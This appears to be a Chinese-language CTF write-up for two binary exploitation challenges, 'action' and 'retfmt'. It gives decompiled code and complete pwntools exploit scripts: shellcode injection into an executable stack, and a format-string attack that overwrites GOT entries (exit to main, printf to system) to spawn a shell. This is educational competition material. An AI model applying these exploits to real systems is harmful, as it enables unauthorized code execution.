action
漏洞在FunOfStrCpy函数,可以看到只要大于1024都会返回到buf中执行,程序没有开NX
char *__cdecl FunOfStrCpy(char *src)
{
char *result; // eax
char v2; // [esp-Ch] [ebp-424h]
char *v3; // [esp+4h] [ebp-414h]
int (*v4)(const char *, ...); // [esp+8h] [ebp-410h]
char s; // [esp+Ch] [ebp-40Ch]
int i; // [esp+40Ch] [ebp-Ch]
Printf = (int (*)(const char *, ...))my_printf;
my_printf("Important piont:0x", v2);
Printf("%x\n", s);
memset(&s, 0, 0x400u);
p = (int)&s;
v3 = &s;
v4 = Printf;
if ( strlen(src) <= 1023 )
return (char *)puts("Nothing happened!!!");
result = strcpy(&s, src);
for ( i = 0; i <= 1; ++i )
result = (char *)((int (__cdecl *)(const char *))(&v3)[i])("Success!!!");
return result;
}
Exp:
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
p = process('./pwn')
p.recv()
payload = asm(shellcraft.sh())
payload = payload.ljust(1024,'A')
p.sendline(payload)
p.interactive()
retfmt
拿到题目的时候基本就确定了是格式化字符串漏洞
main函数流程非常简单,起初以为是leak出canary然后溢出来做,然后发现并没有溢出点。不过可以修改exit函数的got表值为main函数地址来多次利用fmt
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-110h]
unsigned __int64 v4; // [rsp+118h] [rbp-8h]
v4 = __readfsqword(0x28u);
init(*(_QWORD *)&argc, argv, envp);
if ( (unsigned int)CheckIn() == 1 )
{
memset(&buf, 0, 0x100uLL);
write(1, "welcome: ", 0xAuLL);
read(0, &buf, 0x100uLL);
printf(&buf, &buf, argv);
}
puts("bye~");
exit(0);
}
checkin函数中关键点是对随机数对5求余,对5求余只有01234五种结果,所以这里可以采用爆破随机数来求解
_BOOL8 CheckIn()
{
unsigned int v0; // eax
char v1; // ST00_1
_QWORD v3[2]; // [rsp+0h] [rbp-30h]
__int64 buf; // [rsp+10h] [rbp-20h]
__int16 v5; // [rsp+18h] [rbp-18h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
v0 = time(0LL);
srand(v0);
LOWORD(v3[0]) = (unsigned __int8)(rand() % 5 + 48);
printf("enter:", v3[0]);
buf = 0LL;
v5 = 0;
read(0, &buf, 0xAuLL);
return (_BYTE)buf == v1;
}
利用思路:
- 通过爆破随机数来绕过CheckIn函数
- 修改exit@got为main来劫持程序流,多次利用格式化字符串漏洞
- 通过栈leak出libc的地址,然后修改printf@got为system(这里只修改低三位即可)
exp:
#!/usr/bin/python
from pwn import *
context.log_level='debug'
p = process('./pwn')
# p = remote('127.0.0.1',8888)
elf = ELF('./pwn',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
p.recv()
p.sendline('49')
while 'welcome' not in p.recv():
p.close()
p = process('./pwn')
p.sendline('49')
payload = r"%2387c%10$hnssta"+p64(elf.got['exit'])
p.sendline(payload)
p.recvuntil('enter:')
p.sendline('49')
while 'welcome' not in p.recv():
p.sendline('49')
p.sendline('%3$p')
libc_base = int(p.recvuntil('\n',drop=True),16) - 0xf7260
system = libc_base + libc.symbols['system']
log.success('libc base --> [%s]' % hex(libc_base))
log.success('system addr --> [%s]' % hex(system))
p.recvuntil('enter:')
p.sendline('49')
while 'welcome' not in p.recv():
p.sendline('49')
tmp1 = int(str(hex(system))[-6:-4],16)
tmp2 = int(str(hex(system))[-4:-2],16)
tmp3 = int(str(hex(system))[-2:],16)
# print hex(tmp1),hex(tmp2),hex(tmp3)
payload = "%"+str(tmp3)+"c%13$hhn%"+str(256-tmp3+tmp2)+"c%14$hhn"
payload += "%"+str(256-tmp2+tmp1)+"c%15$hhn"
payload = payload.ljust(40,'A')
payload += p64(elf.got['printf'])+p64(elf.got['printf']+1)+p64(elf.got['printf']+2)
# gdb.attach(p)
p.sendline(payload)
p.sendline('49')
p.recv()
while 'welcome' not in p.recv():
p.sendline('49')
p.sendline('/bin/sh\x00')
p.interactive()